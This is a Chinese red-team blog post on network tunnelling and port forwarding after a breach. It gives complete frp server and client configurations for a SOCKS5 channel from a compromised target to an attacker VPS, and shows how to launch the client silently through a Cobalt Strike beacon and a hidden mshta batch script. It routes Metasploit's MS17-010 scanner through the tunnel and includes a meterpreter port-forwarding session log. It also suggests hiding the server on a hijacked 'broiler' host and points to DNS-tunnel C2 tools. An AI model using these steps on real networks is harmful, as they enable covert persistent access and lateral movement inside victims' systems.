红队攻防学习之穿透与转发
四、穿透与转发
1、Frp内网穿透实战
可以使用参数版frp
前言
实战中,当通过某种方式拿下测试虚拟机权限时,发现该机器可出网。此时为了内网横向渗透与团队间的协同作战,可以利用Frp在该机器与VPS之间建立一条“专属通道”,并借助这条通道达到内网穿透的效果。实战中更多时候依靠 Socks5 。
更多详细使用方法,可查看官方Github,这里不再赘述。
前期准备
先准备一台VPS与域名。
因某种情况会更换VPS地址,为了减少更改frp配置文件的次数,所以做域名泛解析。若更换VPS,直接编辑域名解析地址即可。
下载地址
Frp下载地址 [跨平台,实战中根据目标机版本选择下载]
https://github.com/fatedier/frp/releases
配置文件
服务端
#通用配置段
[common]
#frp服务端监听 [VPS]
bind_addr = 0.0.0.0
#frp服务器监听端口 [实战中可以用一些通透性较好的端口]
bind_port = 7007
#服务端Web控制面板登录端口 [通过控制面板,可以实时了解到数据收发情况。实战中用处不大]
dashboard_port = 6609
#服务端Web控制面板用户名与密码 [强口令]
dashboard_user = SuperMan
dashboard_pwd = WC3pvjmh2tt8
#日志输出位置,所有的日志信息都放到当前目录下的frps.log文件中
log_file = ./frps.log
#日志记录等级,有trace、debug、info、warn、error,通常情况下为info
log_level = info
#日志保留时间
log_max_days = 3
#验证凭据,服务端和客户端的凭据必须一样才能连接
auth_token = E0iQEBOdoJeh
#启用特权模式,从v0.10.0版本开始默认启用特权模式 [特权模式下,客户端更改配置无需更新服务端]
privilege_mode = true
#特权模式Token [强口令,建议随机生成]
privilege_token = kukezkHC8R1H
#特权模式允许分配的端口 [避免端口被滥用]
privilege_allow_ports = 4000-50000
#心跳检测超时时长
heartbeat_timeout = 30
#每个代理可以设置的连接池上限
max_pool_count = 20
#口令认证超时时间,一般不用改
authentication_timeout = 900
#指定子域名,后续将全部用域名的形式进行访问 [特权模式需下将 *.xxxx.online 解析到外网VPS上,即域名泛解析]
subdomain_host = xxxx.online
客户端
#通用配置段
[common]
#frp服务端IP或域名 [实战中一般都会直接用域名]
server_addr = frp.xxxx.online
#frp服务器端口
server_port = 7007
#授权token,此处必须与服务端保持一致,否则无法建立连接
auth_token = E0iQEBOdoJeh
#启用特权模式 [特权模式下服务端无需配置]
privilege_mode = true
#特权模式 token,同样要与服务端完全保持一致
privilege_token = kukezkHC8R1H
#心跳检查间隔与超时时间
heartbeat_interval = 10
heartbeat_timeout = 30
#启用加密 [通信内容加密传输,有效防止流量被拦截]
use_encryption = true
#启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]
use_compression = true
#连接数量
pool_count = 20
#内网穿透通常用socks5
[socks5]
type = tcp
#连接VPS内网穿透的远程连接端口
remote_port = 9066
#使用插件socks5代理
plugin = socks5
#socks5连接口令 [根据实际情况进行配置]
#plugin_user = SuperMan
#plugin_passwd = ZBO0McQe6mE1
执行部署
服务端
SSH连接到VPS上,后台启动frp服务端。
root@Ubuntu:~# cd tools/frp/
root@Ubuntu:~/tools/frp# nohup ./frps -c frps.ini &
root@Ubuntu:~/tools/frp# jobs -l
root@Ubuntu:~/tools/frp# cat frps.log
客户端
将frpc.exe与frpc.ini传到目标机的同一目录下,直接运行。
当frp客户端启动后,是否成功连接,都会在frp服务端日志中查看到
但如果直接在目标机的Beacon中启动frp客户端,会持续有日志输出,并干扰该pid下的其他操作,所以可结合execute在目标机无输出执行程序
beacon> sleep 10
beacon> execute c:/frpc.exe -c c:/frpc.ini
beacon> shell netstat -ano |findstr 7007
或者,创建后台运行的bat脚本。
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
c:\frpc.exe -c c:\frpc.ini
工具穿透
Metasploit
当“专属通道”打通后,可直接在msf中挂该代理。因为msf的模块较多,所以在内网横向移动中更是一把利器。[若socks5设置口令,可结合proxychains]
msf5 > setg proxies socks5:frp.xxxx.online:9066
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.144.178
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
Windows
Windows中可结合Proxifier、SSTap等工具,可设置socks5口令,以此达到用windows渗透工具横向穿透的效果
小结
Frp的用法比较灵活且运行稳定。如 可将frp服务端挂在“做菜的肉鸡”上,以达到隐蔽性,也可将客户端做成服务自启的形式等
https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247485563&idx=2&sn=1163136fa1e407bef053a7ce8c6f1fb4&chksm=fc3fb17acb48386c0d41802ee5f2e1469d192422d80c1b03ed476beec419c43e06e341621a26&scene=21 ---AnonySec 感谢大佬
2、基于ported端口转发
portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4–IPV6的转换转发。并且内置于meterpreter。其中exe单版本源码如下:
https://github.com/rssnsj/portfwd
攻击机:
192.168.1.5 Debian
靶机:
192.168.1.4 Windows 7
192.168.1.119 Windows 2003
msf exploit(multi/handler) \> sessions ‐l
Active sessions
===============
Id Name Type Information Connection
‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐
1 meterpreter x86/windows WIN03X64\Administrator @ WIN03X64 192.168.1.5:45303 ‐> 192.168.1.119:53 (192.168.1.119)
msf exploit(multi/handler) > sessions ‐i 1 ‐c 'ipconfig'
[*] Running 'ipconfig' on meterpreter session 1 (192.168.1.119)
Windows IP Configuration
Ethernet adapter 本地连接:
Connection‐specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.119
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1 22
123456789101112131415161718192021
靶机IP为:
192.168.1.119—windows 2003—x64
需要转发端口为:80,3389
msf exploit(multi/handler) > sessions ‐i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 4012 created.
Channel 56 created.
Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985‐2003 Microsoft Corp.
C:\Documents and Settings\Administrator\桌面>if defined PSModulePath (echo ok!) else (echo sorry!)
if defined PSModulePath (echo ok!) else (echo sorry!)
sorry!
C:\Documents and Settings\Administrator\桌面>net config Workstation
net config Workstation
计算机名 \\WIN03X64
计算机全名 win03x64
用户名 Administrator
工作站正运行于
NetbiosSmb (000000000000)
NetBT_Tcpip_{37C12280‐A19D‐4D1A‐9365‐6CBF2CAE5B07} (000C2985D67D)
软件版本 Microsoft Windows Server 2003
工作站域 WORKGROUP
登录域 WIN03X64
COM 打开超时 (秒) 0
COM 发送计数 (字节) 16
COM 发送超时 (毫秒) 250
命令成功完成。
C:\Documents and Settings\Administrator\桌面>netstat ‐an|findstr "LIST ENING"
netstat ‐an|findstr "LISTENING"
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3078 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9001 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2995 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9000 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9999 0.0.0.0:0 LISTENING
TCP 192.168.1.119:139 0.0.0.0:0 LISTENING
meterpreter > portfwd ‐h
Usage: portfwd [‐h] [add | delete | list | flush] [args]
OPTIONS:
‐L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
‐R Indicates a reverse port forward.
‐h Help banner.
‐i <opt> Index of the port forward entry to interact with (see the "list" command).
‐l <opt> Forward: local port to listen on. Reverse: local port to connect to.
‐p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
‐r <opt> Forward: remote host to connect to.
1234567891011
攻击机执行:
meterpreter > portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389
[*] Local TCP relay created: :33389 <‐> 192.168.1.119:3389
meterpreter > portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80
[*] Local TCP relay created: :30080 <‐> 192.168.1.119:80
meterpreter > portfwd
Active Port Forwards
====================
Index Local Remote Direction
‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐
1 0.0.0.0:33389 192.168.1.119:3389 Forward
2 0.0.0.0:30080 192.168.1.119:80 Forward
2 total active port forwards.
查看攻击机LISTEN端口:转发已成功
root@John:~# netstat ‐ntlp |grep :3
tcp 0 0 0.0.0.0:33389 0.0.0.0:* LISTEN 2319/ruby
tcp 0 0 0.0.0.0:30080 0.0.0.0:* LISTEN 2319/ruby 4
Windows 7 分别访问攻击机33389,30080,既等价访问靶机3389,80
https://micro8.gitbook.io/micro8/contents-1/91-100/95-ji-yu-portfwd-duan-kou-zhuan-fa
3、Venom-代理转发、多级穿透
https://www.ms509.com/2020/06/17/Intranet-penetration/ --非常详细全面的内网穿透技术总结
https://blog.csdn.net/u011215939/article/details/103403545
https://xz.aliyun.com/t/4058 --Venom 渗透测试人员的多级代理
http://www.vkxss.top/2020/04/30/内网渗透-Venom内网工具使用实战/
4、DNS隧道
dns隧道之dns2tcp
http://blog.dengxj.com/archives/14/
https://mntn0x.github.io/2020/03/24/DNS隧道搭建/
https://blog.werner.wiki/building-a-dns-tunnel-with-dns2tcp/ --使用dns2tcp搭建DNS隧道(老文章思路)
书里的思路也很好…
dns隧道之dnscat2
https://www.4hou.com/posts/PY0A --DNScat2工具:通过DNS进行C&C通信
https://blog.csdn.net/weixin_41598660/article/details/106658548 --最新复现文章
dns隧道之Iodine
https://zhuanlan.zhihu.com/p/70263701
https://juejin.im/post/6844903767461068807
书上介绍了MSF配合lodine使用方法…
使用dns协议上线msf之dnscat2
https://cloud.tencent.com/developer/article/1672113
书上介绍了MSF配合dnscat2使用方法…
使用dns协议上线msf之dns2tcp
这里只能看书了,这里树上很精彩,后期我会复现…
总结:
https://xz.aliyun.com/t/7701 --第四章总结工具文章
http://www.feidao.site/wordpress/index.php/2020/04/11/yingyong/#toc-head-13 --好好看完
https://2017.zeronights.org/wp-content/uploads/materials/ZN17_SintsovAndreyanov_MeterpreterReverseDNS.pdf
本文作者: iceH
本文链接: http://www.secice.cn/p/2197435e
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!